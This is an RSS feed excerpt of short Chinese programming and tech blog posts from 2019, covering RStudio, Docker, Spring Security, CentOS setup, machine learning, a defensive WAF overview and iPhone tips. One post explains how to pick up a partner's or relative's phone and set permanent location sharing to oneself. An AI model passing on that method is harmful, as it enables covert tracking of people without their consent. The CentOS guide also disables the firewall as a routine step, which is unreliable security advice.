      <title>【R语言报错解决-中文注释乱码】Mac平台R Studio打开R markdown及script文件，中文注释出现乱码的解决方法——文字编码选择</title>
      <link>https://bchobby.github.io/posts/947ab52413e23509538804fce0c30fd0/</link>
      <pubDate>Sat, 07 Sep 2019 18:04:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/947ab52413e23509538804fce0c30fd0/</guid>
      <description>目录 1、问题来源2、如何解决？思路来源操作流程 3、参考来源 1、问题来源 Mac的用户经常在打开之前保存的R Studio里的R markdown及script文件时，里面的中文注释出现了乱码，如？？？之类的。&#xA;2、如何解决？ 思路来源 调整编码格式，参考了 Celine_y 的方法，但是没找到GBK格式，经过一个个试过去之后，发现，utf-8格式可以正常显示&#xA;操作流程 在Rstudio界面：&#xA;1、Tools -&amp;gt; Global Options -&amp;gt; Code -&amp;gt; Saving -&amp;gt; Default text encoding : （从列表里选择）utf-8&#xA;2、然后回到Rstudio主界面，点击File -&amp;gt; Reopen with encoding -&amp;gt;Choosing: utf-8&#xA;3、参考来源 https://blog.csdn.net/sinat_35559472/article/details/85964379</description>
    </item>
    <item>
      <title>matlab 之 图中/坐标的线型、颜色、线宽</title>
      <link>https://bchobby.github.io/posts/ffc7852f74e68d3042f4d28663211b13/</link>
      <pubDate>Sat, 07 Sep 2019 09:59:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc7852f74e68d3042f4d28663211b13/</guid>
      <description>1、线型&#xA;&#39;-&#39; 实线 &#39;--&#39; 虚线 &#39;:&#39; 点线 &#39;-.&#39; 点划线&#xA;&#39;s&#39;或squar 用正方形绘制各数据点 &#39;p&#39; 五角星 &#39;d&#39;或diamond菱形 &#39;h&#39; 六角星&#xA;&#39;.&#39; 用点号绘制各数据点 &#39;^&#39; 用上三角绘制各数据点&#xA;&#39;+&#39; 用&#39;+&#39;号绘制各数据点 &#39;v&#39; 用下三角绘制各数据点&#xA;&#39;*&#39; 用&#39;*&#39;号绘制各数据点 &#39;&amp;gt;&#39; 用右三角绘制各数据点&#xA;&#39; .&#39; 用&#39;.&#39;号绘制各数据点 &#39;&amp;lt;&#39; 用左三角绘制各数据点&#xA;2、颜色&#xA;&#39;r&#39; 红色 &#39;m&#39; 粉红 &#39;g&#39; 绿色 &#39;c&#39; 青色 &#39;b&#39; 兰色 &#39;w&#39; 白色 &#39;y&#39; 黄色 &#39;k&#39; 黑色&#xA;plot(t,y,&#39;-bs&#39;,&#39;LineWidth&#39;,2,... %设置线宽为2&#xA;&#39;MarkerEdgeColor&#39;,&#39;k&#39;,... %设置标记点边缘颜色为黑色&#xA;&#39;MarkerFaceColor&#39;,&#39;y&#39;,... %设置标记点填充颜色为黄色&#xA;&#39;MarkerSize&#39;,10) %设置标记点的尺寸/大小为10号&#xA;3、线宽&#xA;plot(i3,Global_opt_R1,&#39;-r&#39;, i3,Global_opt_R2,&#39;--b&#39;,i3,Global_opt_R3,&#39;--b&#39;,&#39;linewidth&#39;,1.5)&#xA;4、坐标设置&#xA;set(gca,&#39;fontsize&#39;,8);%设置坐标轴字体大小&#xA;set(gca,&#39;linewidth&#39;,0.5); %坐标 线粗0.5磅&#xA;set(get(gca,&#39;XLabel&#39;),&#39;FontSize&#39;,8);%图上文字为8 point或小5号&#xA;set(get(gca,&#39;YLabel&#39;),&#39;FontSize&#39;,8);</description>
    </item>
    <item>
      <title>完美拷贝本地文件到docker容器</title>
      <link>https://bchobby.github.io/posts/5fa026ec6f669a56f28edc649a3aae9d/</link>
      <pubDate>Fri, 06 Sep 2019 15:22:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fa026ec6f669a56f28edc649a3aae9d/</guid>
      <description> 前言：我们经常会遇到需求在linux下，读取某个文件获取数据。在本地测试中，使用docker作为容器引擎。那我们如何将本机的文件复制到容器中去呢?三部曲带你完美拷贝本地文件到docker容器&#xA;（1）查找容器&#xA;docker ps -a （2）确定我们的容器名，并获取容器长ID&#xA;docker inspect -f &#39;{{.ID}}&#39; store-dev （3） 拷贝本地文件到容器&#xA;docker cp 你的文件路径 容器长ID:docker容器路径 例子:&#xA;笔者将mac电脑桌面上文件夹名为RWD97019_20190300下的AVL和CHK文件复制到docker容器下的/ftpdata/award路径下&#xA;请注意，两边路径都要加上文件名+文件后缀 ，容器长ID后面是一个:&#xA;docker cp /Users/lidongbin/Desktop/RWD97019_20190300/RWD97019_20190300.AVL 33771096c8531094e1996c9b8b3689f149a1cbdb07957983c639c4863ce4eaee:/ftpdata/award/RWD97019_20190300.AVLdocker cp /Users/lidongbin/Desktop/RWD97019_20190300/RWD97019_20190300.CHK 33771096c8531094e1996c9b8b3689f149a1cbdb07957983c639c4863ce4eaee:/ftpdata/award/RWD97019_20190300.CHK 最后，我们进入容器查看是否成功拷贝&#xA;docker exec -it store-dev bash </description>
    </item>
    <item>
      <title>刷酸记录(迪维维A酸乳膏)20190905</title>
      <link>https://bchobby.github.io/posts/bff652e4128325d04596ee472f08bbae/</link>
      <pubDate>Fri, 06 Sep 2019 14:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bff652e4128325d04596ee472f08bbae/</guid>
      <description> 前提 刷酸记录(迪维维A酸乳膏) 20190601-2019-09-03&#xA;刷酸记录(迪维维A酸乳膏)20190903&#xA;刷酸记录(迪维维A酸乳膏)20190904&#xA;0905 晚上 0905 新买服务器，将elk的节点分离开，迁移到别的机器上；手动reroute 没有分配的shards；11点下班0906 1:50 维A酸乳膏涂抹全脸关灯睡觉，使用手机大概6分钟（设置闹钟和声音，偷能量）窗帘全部拉上；空气加湿器没有开 0906 早上 （中雨） 8:10 起床洁面：旁氏米粹洗一遍；洗脸感觉 脸部皮肤变得平滑；还变软了护肤：olay Prox 两滴管 + olay 修复霜一坨；olay修复霜用着感觉好疼；明显脸变干，最后又叠加了一点荷荷巴油保湿防晒： 没有用防晒霜(总觉得不透气)；黑色雨伞感觉脸上皮肤好干，10:00 下半部分脸大量脱皮，下巴和鼻子最严重（蜕皮很薄很软） </description>
    </item>
    <item>
      <title>线性回归分析-回归算法</title>
      <link>https://bchobby.github.io/posts/a6326217165a7179986dc86585632c1a/</link>
      <pubDate>Thu, 05 Sep 2019 21:55:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6326217165a7179986dc86585632c1a/</guid>
      <description>线性回归分析-回归算法 1 回归算法 机器学习中监督学习算法分为分类算法和回归算法两种，其实就是根据类别标签分布类型为离散型、连续性而定义的。回归算法用于目标是连续的，在指定区间内可以是任意一个数值，针对的是数值型的样本，使用回归，可以在给定输入的时候预测出一个数值，这是对分类方法的提升，因为这样可以预测连续型数据而不仅仅是离散的类别标签。&#xA;首先举个房价的例子，房子的面积和房子的价格有着明显的关系，那么在坐标系中可以看到这些点：&#xA;如果那么通过一条直线把这个关系描述出来，叫线性关系&#xA;如果那么通过一条曲线把这个关系描述出来，叫非线性关系&#xA;其实回归的目的就是建立一个回归方程（函数）用来预测目标值，回归的求解就是求这个回归方程的回归系数。&#xA;2 回归算法之线性回归 线性回归的定义是：目标值预期是输入变量的线性组合。线性回归通过一个或多个自变量与因变量之间进行建模的回归分析。其特点是一个或多个称之为回归系数的模型参数的线性组合。&#xA;一元线性回归：涉及到的变量只有一个。&#xA;多元线性回归：涉及到的变量两个或两个以上。&#xA;线性模型中的向量W值，客观的表达了各属性在预测中的重要性，对于这种“多特征预测”也就是（多元线性回归），那么线性回归就是在这个基础上得到这些W的值，然后以这些值来建立模型，预测测试数据。简单的来说就是学得一个线性模型以尽可能准确的预测实值输出标记。&#xA;那么如果对于多变量线性回归来说我们可以通过向量的方式来表示W值与特征X值之间的关系：&#xA;两向量相乘，结果为一个整数是估计值,其中所有特征集合的第一个特征值 =1,那么我们可以通过通用的向量公式来表示线性模型：&#xA;一个列向量的转置与特征的乘积，得出我们预测的结果，但是显然我们这个模型得到的结果可定会有误差，如下&#xA;3 损失函数（最小二乘法） 损失函数是一个贯穿整个机器学习重要的一个概念，大部分机器学习算法都会有误差，我们得通过显性的公式来描述这个误差，并且将这个误差优化到最小值。&#xA;对于线性回归模型，将模型与数据点之间的距离差之和做为衡量匹配好坏的标准，误差越小,匹配程度越大。我们要找的模型就是需要将f(x)和我们的真实值之间最相似的状态。所以误差公式就是模型与数据差的平方和最小：&#xA;上面公式定义了所有的误差和，如何去求模型当中的W，使得损失最小？（目的是找到最小损失对应的W值）。有两种办法，一种使用梯度下降算法，另一种使正规方程解法（只适用于简单的线性回归）。&#xA;正规方程公式如下：&#xA;4 最小二乘法之梯度下降 误差公式是一个通式，我们取两个单个变量来求最小值，误差和可以表示为：&#xA;通过调整不同的w​1​​ 和w​0的值，就能使误差不断变化，而当你找到这个公式的最小值时，你就能得到最好的w​1​​ ,w​0而这对(w​1​​ ,w​0​​ )就是能最好描述你数据关系的模型参数。怎么找cost(w​0+w1x​1​​ )的最小?cost(w​0+w​1x1)的图像其实像一个山谷一样，有一个最低点。找这个最低点的办法就是，然后沿着这个弯下降的方向找，最后就能找到山谷的最低点。&#xA;进行移动的时候也需要考虑，每次移动的速度，也就是α的值,这个值也叫做（学习率）&#xA;样就能求出w​0 ,w​1的值，当然你这个过程是不断的进行迭代求出来，通过交叉验证方法即可。&#xA;α为学习率，需要手动指定&#xA;5 sklearn线性回归正规方程、梯度下降API sklearn.linear_model.LinearRegression 正规方程&#xA;sklearn.linear_model.SGDRegressor 梯度下降&#xA;方法：&#xA;fit(X,y,sample_weight = None)使用X作为训练数据拟合模型，y作为X的类别值。X，y为数组或者矩阵&#xA;predict(X)预测提供的数据对应的结果&#xA;属性：&#xA;coef_表示回归系数w=(w1,w2…)&#xA;intercept_ 表示w0&#xA;6 案例 波士顿房价数据案例分析流程&#xA;步骤：①波士顿地区房价数据获取；②波士顿地区房价数据分割③训练与测试数据标准化处理；④使用最简单的线性回归模型LinearRegression和&#xA;梯度下降估计SGDRegressor对房价进行预测&#xA;from sklearn.datasets import load_boston from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.</description>
    </item>
    <item>
      <title>H5和xthtml区别</title>
      <link>https://bchobby.github.io/posts/8ec65e190f63c438660db49559ec4b56/</link>
      <pubDate>Thu, 05 Sep 2019 21:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ec65e190f63c438660db49559ec4b56/</guid>
      <description> &amp;lt;!-- H5 快捷键 ！+tab 键 --&amp;gt; &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &amp;lt;!-- xhtml快捷键 html:xt + tab 键 --&amp;gt; &amp;lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34; xml:lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html;charset=UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &amp;lt;!-- 两者区别：1.文档声明 编码声明不一 2.html5新增标签元素以及元素属性 --&amp;gt; </description>
    </item>
    <item>
      <title>Error in v-on handler: &#34;SyntaxError: Failed to set the &#39;href&#39; property on &#39;Location&#39;:解决方案</title>
      <link>https://bchobby.github.io/posts/23002ec4bd58420aca0d84b04c361f9d/</link>
      <pubDate>Thu, 05 Sep 2019 17:40:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23002ec4bd58420aca0d84b04c361f9d/</guid>
      <description>这个问题出现在使用window.location.href情况下，直接上代码吧&#xA;window.location.href = &#39;192.168.10.19:8082/microProject/connector/7f9b3ba4dc77092d/adminSetup/whiteList&#39; 上面这个代码直接报错 如下图：&#xA;解决方法：&#xA;window.location.href = &#39;http://192.168.10.19:8082/microProject/connector/428cff2385ebe526/adminSetup/whiteList&#39; 加上了http://之后即可跳转，成为有效的链接地址</description>
    </item>
    <item>
      <title>Springboot  &#43; Spring Security 实现前后端分离登录认证及权限控制</title>
      <link>https://bchobby.github.io/posts/6f764fb87e4398464ccf9639ea0a4bf1/</link>
      <pubDate>Thu, 05 Sep 2019 16:53:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f764fb87e4398464ccf9639ea0a4bf1/</guid>
      <description>Springboot + Spring Security 实现前后端分离登录认证及权限控制 前言本文主要的功能文章目录文章正文一、准备工作1、统一错误码枚举2、统一json返回体3、返回体构造工具4、pom5、配置文件 二、数据库表设计建表语句初始化表数据语句 三、Spring Security核心配置：WebSecurityConfig四、用户登录认证逻辑：UserDetailsService1、创建自定义UserDetailsService2、准备service和dao层方法（1）根据用户名查询用户信息（2）根据用户名查询用户的权限信息 五、用户密码加密六、屏蔽Spring Security默认重定向登录页面以实现前后端分离功能1、实现登录成功/失败、登出处理逻辑（1）登录成功（2）登录失败（3）登出 2、在WebSecurityConfig中的configure(HttpSecurity http)方法中声明 八、会话管理（登录过时、限制单用户或多用户登录等）1、限制登录用户数量2、处理账号被挤下线处理逻辑3、在WebSecurityConfig中声明 九、实现基于JDBC的动态权限控制1、权限拦截器2、安全元数据源FilterInvocationSecurityMetadataSource3、访问决策管理器AccessDecisionManager4、在WebSecurityConfig中声明 十、最终的WebSecurityConfig配置十一、结束语 前言 关于Spring Security的概念部分本文不进行赘述，本文主要针对于对Spring Security以及Springboot有一定了解的小伙伴，帮助大家使用Springboot + Spring Security 实现一个前后端分离登录认证的过程。&#xA;文章会一步一步循序渐进的带大家敲一遍代码。最终的代码请看最后。&#xA;代码中我用到了插件lombok来生成实体的getter/setter，如果不想装插件请自己补全getter/setter&#xA;本文主要的功能 1、前后端分离用户登录认证&#xA;2、基于RBAC（角色）的权限控制&#xA;文章目录 1、准备工作&#xA;2、数据库表设计&#xA;3、Spring Security核心配置：WebSecurityConfig&#xA;4、用户登录认证逻辑：UserDetailsService&#xA;5、用户密码加密&#xA;6、屏蔽Spring Security默认重定向登录页面以实现前后端分离功能&#xA;7、实现登录成功/失败、登出处理逻辑&#xA;8、会话管理（登录过时、限制单用户或多用户登录等）&#xA;9、实现基于JDBC的动态权限控制&#xA;10、结束语&#xA;文章正文 一、准备工作 1、统一错误码枚举 /** * @Author: Hutengfei * @Description: 返回码定义 * 规定: * #1表示成功 * #1001～1999 区间表示参数错误 * #2001～2999 区间表示用户错误 * #3001～3999 区间表示接口异常 * @Date Create in 2019/7/22 19:28 */ public enum ResultCode { /* 成功 */ SUCCESS(200, &#34;</description>
    </item>
    <item>
      <title>刷酸记录(迪维维A酸乳膏)20190904</title>
      <link>https://bchobby.github.io/posts/c02e7c9dd5332f91975b0e1d4903f695/</link>
      <pubDate>Thu, 05 Sep 2019 14:53:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c02e7c9dd5332f91975b0e1d4903f695/</guid>
      <description> 前提 刷酸记录(迪维维A酸乳膏) 20190601-2019-09-03&#xA;刷酸记录(迪维维A酸乳膏)20190903&#xA;0904 晚上 0904 elk所在主机内存不够，启动检测过不去，无法启动；搞到23:00 下班0904 晚上24:00 维A酸乳膏涂抹全脸关灯睡觉，使用手机大概3分钟（设置闹钟和声音）窗帘全部拉上；空气加湿器有一些蓝光 0905 早上 （阴天+有太阳） 8:40 起床洁面：旁氏米粹洗两遍；洗脸感觉 脸部皮肤变得平滑护肤：olay Prox 两滴管 + olay 修复霜一坨；没有感觉疼防晒： 没有用防晒霜(总觉得不透气)；防晒伞+普通一次性口罩感觉脸上皮肤变软；10:00 后在下巴处出现大量蜕皮，脸上也有几处蜕皮但很少（蜕皮很薄很软）感觉今天鼻子上黑头变明显了，不知道什么原因 </description>
    </item>
    <item>
      <title>iPhone手机网速慢？1分钟教你设置DNS，网速立马翻一番</title>
      <link>https://bchobby.github.io/posts/d76b4bb69d7e19cee0bfcf17f0879139/</link>
      <pubDate>Thu, 05 Sep 2019 11:23:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d76b4bb69d7e19cee0bfcf17f0879139/</guid>
      <description>很多小伙伴在购机时选择苹果手机都是因为iOS系统的流畅度和精简性，但iPhone在可玩性和信号方面是不如安卓手机的。大家在使用过程中一定遇到过这样的情况，连接同一个无线网，但是苹果的网速总是要比安卓慢，这该怎么办呢？&#xA;这时候我们需要设置苹果手机的静态DNS，从而达到提升部分网速的目的，而手机默认为自动配置DNS，我们需要手动设置一个响应时间最佳的DNS地址。&#xA;查询得知，114的DNS在全国的响应时间都要小于50ms，所以我们将DNS设置为：114.114.114.114&#xA;一、苹果手机设置静态DNS步骤如下：&#xA;1、进入iPhone的【设置】界面，打开【无线局域网】，部分机型为【Wi-Fi】，进入后找到对应的&#34;感叹号&#34;图标。&#xA;2、在无线网的网络设置界面，点击底部默认为自动的【配置DNS】，一般都是运营商自动分配的，这里我们进入，设置为【手动】。&#xA;3、然后添加2个DNS服务器，第一个服务器的地址设置为114.114.114.114，访问速度快；第二个服务器地址设置为223.5.5.5，稳定性和安全相对更高。&#xA;二、路由器设置静态DNS&#xA;如果手机设置了DNS效果仍然不满意，你还可以将无线网路由器设置静态DNS，首选DNS服务器为114.114.114.114；备用DNS服务器为223.5.5.5，与手机DNS服务器地址保持一致。&#xA;各品牌路由器设置界面不同，大家自行查询。</description>
    </item>
    <item>
      <title>iPhone手机&#34;查找朋友&#34;怎么用？添加对方号码，瞬间变成追踪器</title>
      <link>https://bchobby.github.io/posts/5a07aaa16924f08d4d93f546f87cc7bb/</link>
      <pubDate>Thu, 05 Sep 2019 11:20:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a07aaa16924f08d4d93f546f87cc7bb/</guid>
      <description>很多人都说iPhone手机的系统非常流畅好用，但除了一些基本的常用功能，还有着非常多的隐藏功能，比如&#34;查找朋友&#34;这项功能大家都知道，却又从来没用过，今天教大家将它变成追踪器，轻松掌握对方的实时位置！&#xA;具体步骤如下：&#xA;1、首先我们打开朋友的手机，可以是你的男朋友，可以是你的女朋友，也可以是你的家人。在桌面点击进入【查找朋友】，然后找到并点击右上角的【添加】按钮。&#xA;（如果桌面找不到该图标可以在App Store中搜索）&#xA;2、在【邀请】这一栏中点击【+】号，随之会跳转到通讯录，只需要添加上你自己，接下来在你的手机中打开【查找朋友】，会收到右图这条内容。&#xA;3、点击之后即可设置共享位置的时间，包括一小时、今天结束、始终共享。我们选择始终共享，这样以后无论何时，打开【查找朋友】就都能看到对方的位置了，瞬间变成追踪器！&#xA;实景地图查看对方的位置，也太清楚了吧，街道房屋马路通通能辨别清楚：&#xA;虽然这个功能很强大，但信任是感情稳固的基础，还望小伙伴们三思而后行。&#xA;最后你们认为这个功能是好还是坏呢？</description>
    </item>
    <item>
      <title>centos7搭建lnmp&#43;laravel环境</title>
      <link>https://bchobby.github.io/posts/0aa3d424aef2b30b319af84c3fe05055/</link>
      <pubDate>Thu, 05 Sep 2019 00:20:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aa3d424aef2b30b319af84c3fe05055/</guid>
      <description>版本 centos：7.6nginx：1.1mysql：5.7php：7.2laravel：5.5 关闭防火墙 systemctl stop firewalld.service systemctl disable firewalld.service 配置阿里yum源 参考&#xA;cd /etc/yum.repos.d/ wget http://mirrors.aliyun.com/repo/Centos-7.repo yum -y install wget mv CentOs-Base.repo CentOs-Base.repo.bak mv Centos-7.repo CentOs-Base.repo yum clean all yum makecache yum update php7.2 参考&#xA;php7.2源&#xA;yum install epel-release rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum install php72w-fpm php72w-opcache php72w-cli // 安装相应的依赖，请在php7.2源中查找 systemctl start php-fpm.service systemctl enable php-fpm.service nginx 参考&#xA;yum -y install nginx systemctl start nginx.service systemctl enable nginx.service mysql 参考&#xA;wget &#39;https://dev.</description>
    </item>
    <item>
      <title>SpringBoot将文件上传到项目的根路径中，相对路径</title>
      <link>https://bchobby.github.io/posts/1fcc11b1052bc52ea09df625d5fd819a/</link>
      <pubDate>Wed, 04 Sep 2019 14:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fcc11b1052bc52ea09df625d5fd819a/</guid>
      <description>1.依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.controller&#xA;package com.upload.upload_demo.controller; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletRequest; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.UUID; @RestController public class FileUploadController { private static final Logger logger = LoggerFactory.getLogger(FileUploadController.class); // 项目根路径下的目录 -- SpringBoot static 目录相当于是根路径下（SpringBoot 默认） public final static String UPLOAD_PATH_PREFIX = &#34;static/uploadFile/&#34;; @PostMapping(&#34;/upload&#34;) public String upload(MultipartFile uploadFile, HttpServletRequest request){ if(uploadFile.isEmpty()){ //返回选择文件提示 return &#34;请选择上传文件&#34;; } SimpleDateFormat sdf = new SimpleDateFormat(&#34;</description>
    </item>
    <item>
      <title>深入理解YOLO v3实现细节 - 第1篇 数据预处理</title>
      <link>https://bchobby.github.io/posts/38c99f5b3042b938527bd96f25a7088f/</link>
      <pubDate>Wed, 04 Sep 2019 12:05:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38c99f5b3042b938527bd96f25a7088f/</guid>
      <description>深入理解YOLO v3实现细节系列文章，是本人根据自己对YOLO v3原理的理解，结合开源项目tensorflow-yolov3，写的学习笔记。如有不正确的地方，请大佬们指出，谢谢！&#xA;YunYang1994 tensorflow-yolov3的开源项目地址:YunYang1994/tensorflow-yolov3​github.com&#xA;深入理解YOLO v3实现细节系列 第1篇 数据预处理 第2篇 backbone&amp;amp;network 第3篇 构建v3的Loss_layer 目录&#xA;第1篇 数据预处理&#xA;1. 定义初始化函数&#xA;2.数据增强&#xA;3. 获取真实框(GroundTruth)的坐标和类别信息&#xA;3.1 读取真实框的注释(annotations)文件&#xA;3.2 获取真实框的坐标和类别信息&#xA;4. 获取3种不同尺寸的label和真实框&#xA;4.1 定义IOU计算公式&#xA;4.2 先验框(anchor box)的来源&#xA;4.3 定义preprocess_true_boxes函数&#xA;5. 将像素矩阵、label和真实框打包成mini_batch&#xA;补充&#xA;1. 定义初始化函数 参数初始化，参数的配置来自config.py&#xA;&#34;&#34;&#34;implement Dataset here&#34;&#34;&#34; def __init__(self, dataset_type): # 根据dataset_type的值，选择训练/测试的参数 # 数据注释文件的路径，此处为&#34;./data/dataset/voc_test.txt&#34; 或 &#34;./data/dataset/voc_train.txt&#34; self.annot_path = cfg.TRAIN.ANNOT_PATH if dataset_type == &#39;train&#39; else cfg.TEST.ANNOT_PATH # 数据输入图像的大小，为了增加网络的鲁棒性，使用了随机[320, 352, 384, 416, 448, 480, 512, 544, 576, 608] # 中任意一种大小，注意，该处必须为32的倍数 self.</description>
    </item>
    <item>
      <title>IDE(15)——VS系列(15)——VS2017如何查看项目中的类图(类关系图)</title>
      <link>https://bchobby.github.io/posts/d6758bb38655b1ef161f555f7ac84dac/</link>
      <pubDate>Tue, 03 Sep 2019 23:22:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6758bb38655b1ef161f555f7ac84dac/</guid>
      <description>在学习C#的过程中，遇到这么一个问题——查看项目中的类图（类的关系图）。根据网上讲的流程，我在VS2017并没有发现这个功能，然后就在想，这是不是得安装一个东西呢？因为前期在安装VS的时候，我都是选择性的安装，并没有把所有的东西都装进去，毕竟内存有限呀。后来站在巨人的肩膀上，果真如料想的那般，确实少了一点东西，下面我把步骤分享给大家。&#xA;第一步：程序——Visual Studio Installer;&#xA;注：在打开Visual Studio Installer前要把VS2017关掉。&#xA;第二步：点击更多——修改；&#xA;第三步：选中Visual Studio扩展开发——类设计器——修改；&#xA;第四步：等待安装，安装成功后的界面；&#xA;第五步：打开需要查看的项目，右键——查看——查看类图；&#xA;问题成功解决。惊不惊喜？意不意外？学习这件事儿，很重要！很重要！很重要！</description>
    </item>
    <item>
      <title>求两个数的最大公约数（五种方法）</title>
      <link>https://bchobby.github.io/posts/503bd3c13718c393bac9c0c01f0219a6/</link>
      <pubDate>Tue, 03 Sep 2019 16:56:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/503bd3c13718c393bac9c0c01f0219a6/</guid>
      <description>求两个数的最大公约数 欧几里得算法&#xA;枚举法&#xA;公共因子积&#xA;更相减损术&#xA;Stein算法&#xA;求两个数的最大公约数&#xA;一、问题描述与分析&#xA;设有 m 和 n 两个正整数，求 m 和 n 的最大公因子。&#xA;二、算法设计（或算法步骤）&#xA;欧几里得算法 算法简介 欧几里德算法是用来求两个正整数最大公约数的算法。是由古希腊数学家欧几里德在其著作《The Elements》中最早描述了这种算法,所以被命名为欧几里德算法。&#xA;算法过程描述 例如求 1997 和 615 的最大公因数的步骤：&#xA;1997 / 615 = 3 (余 152) 615 / 152 = 4 (余7) 152 / 7 = 21(余5) 7 / 5 = 1 (余2) 5 / 2 = 2 (余1) 2 / 1 = 2 (余0) 至此，最大公约数为1。&#xA;以除数和余数反复做除法运算，当余数为 0 时，取当前算式除数为最大公约数，所以就得出了 1997 和 615 的最大公约数 1。</description>
    </item>
    <item>
      <title>WAF网页应用防火墙详解（设计思路-防御恶意文件上传实例-厂商防御技术-Imperva WAF部分特色功能了解）</title>
      <link>https://bchobby.github.io/posts/25f77dd5e802f4d9f2018e2b9eb6ec4a/</link>
      <pubDate>Tue, 03 Sep 2019 15:07:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25f77dd5e802f4d9f2018e2b9eb6ec4a/</guid>
      <description>定义：Web防火墙，主要是对Web特有入侵方式的加强防护，如DDOS防护、SQL注入、XML注入、XSS等。由于是应用层而非网络层的入侵，从技术角度都应该称为Web IPS，而不是Web防火墙。这里之所以叫做Web防火墙，是因为大家比较好理解，业界流行的称呼而已。由于重点是防SQL注入，也有人称为SQL防火墙。&#xA;一、首先了解WAF设计思路&#xA;部署在Web应用的前面以白名单思路来设计（定义保护对象 不能单个阻拦）只对HTTP、HTTPS协议进行检测Web应用模型、关联分析的技术 二、防御恶意文件上传&#xA;文件名&#xA;解析文件名，判断是否在黑名单内。&#xA;文件内容&#xA;解析文件内容，判断是否为webshell。&#xA;文件目录权限&#xA;该功能需要主机WAF实现，比如我见过的云锁。&#xA;目前，市面上常见的是解析文件名，少数WAF是解析文件内容，比如长亭。下面内容，都是基于文件名解析。&#xA;大致步骤如下：&#xA;获取Request Header里的Content-Type值中获取boundary值&#xA;根据第一步的boundary值，解析POST数据，获取文件名&#xA;判断文件名是否在拦截黑名单内&#xA;三、厂商防御技术&#xA;1.代理服务：代理方式本身就是一种安全网关，基于会话的双向代理，中断了用户与服务器的直接连接，适用于各种加密协议，这也是Web的Cache应用中最常用的技术。代理方式防止了入侵者的直接进入，对DDOS攻击可以抑制，对非预料的“特别”行为也有所抑制。Netcontinuum(梭子鱼)公司的WAF就是这种技术的代表。&#xA;2.特征识别：识别出入侵者是防护他的前提。特征就是攻击者的“指纹”，如缓冲区溢出时的Shellcode，SQL注入中常见的“真表达(1=1)”…应用信息没有“标准”，但每个软件、行为都有自己的特有属性，病毒与蠕虫的识别就采用此方式，麻烦的就是每种攻击都自己的特征，数量比较庞大，多了也容易相象，误报的可能性也大。虽然目前恶意代码的特征指数型地增长，安全界声言要淘汰此项技术，但目前应用层的识别还没有特别好的方式。&#xA;3.算法识别：特征识别有缺点，人们在寻求新的方式。对攻击类型进行归类，相同类的特征进行模式化，不再是单个特征的比较，算法识别有些类似模式识别，但对攻击方式依赖性很强，如SQL注入、DDOS、XSS等都开发了相应的识别算法。算法识别是进行语义理解，而不是靠“长相”识别。&#xA;4.模式匹配：是IDS中“古老”的技术，把攻击行为归纳成一定模式，匹配后能确定是入侵行为，当然模式的定义有很深的学问，各厂家都隐秘为“专利”。协议模式是其中简单的，是按标准协议的规程来定义模式;行为模式就复杂一些，&#xA;四、Imperva WAF部分功能讲解&#xA;1.多层防护措施 Protocol Validation检测HTTP协议的合规情况Attack Signatures侦测流行的攻击行为 Application Profile&#xA;侦测流行的攻击行为Data Leak Prevention防止敏感数据泄露ThreatRadar 在攻击展开前就阻止恶意用户的行为&#xA;2.Imperva专利技术&#xA;部分参考来源：&#xA;参考1. https://www.secfree.com/a/585.html&#xA;参考2.https://blog.csdn.net/chenyulancn/article/details/78842941</description>
    </item>
    <item>
      <title>Android调用相机、相册上传头像并裁剪</title>
      <link>https://bchobby.github.io/posts/5bb1c3270a33983cd78bf249d6ce5d71/</link>
      <pubDate>Tue, 03 Sep 2019 14:28:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bb1c3270a33983cd78bf249d6ce5d71/</guid>
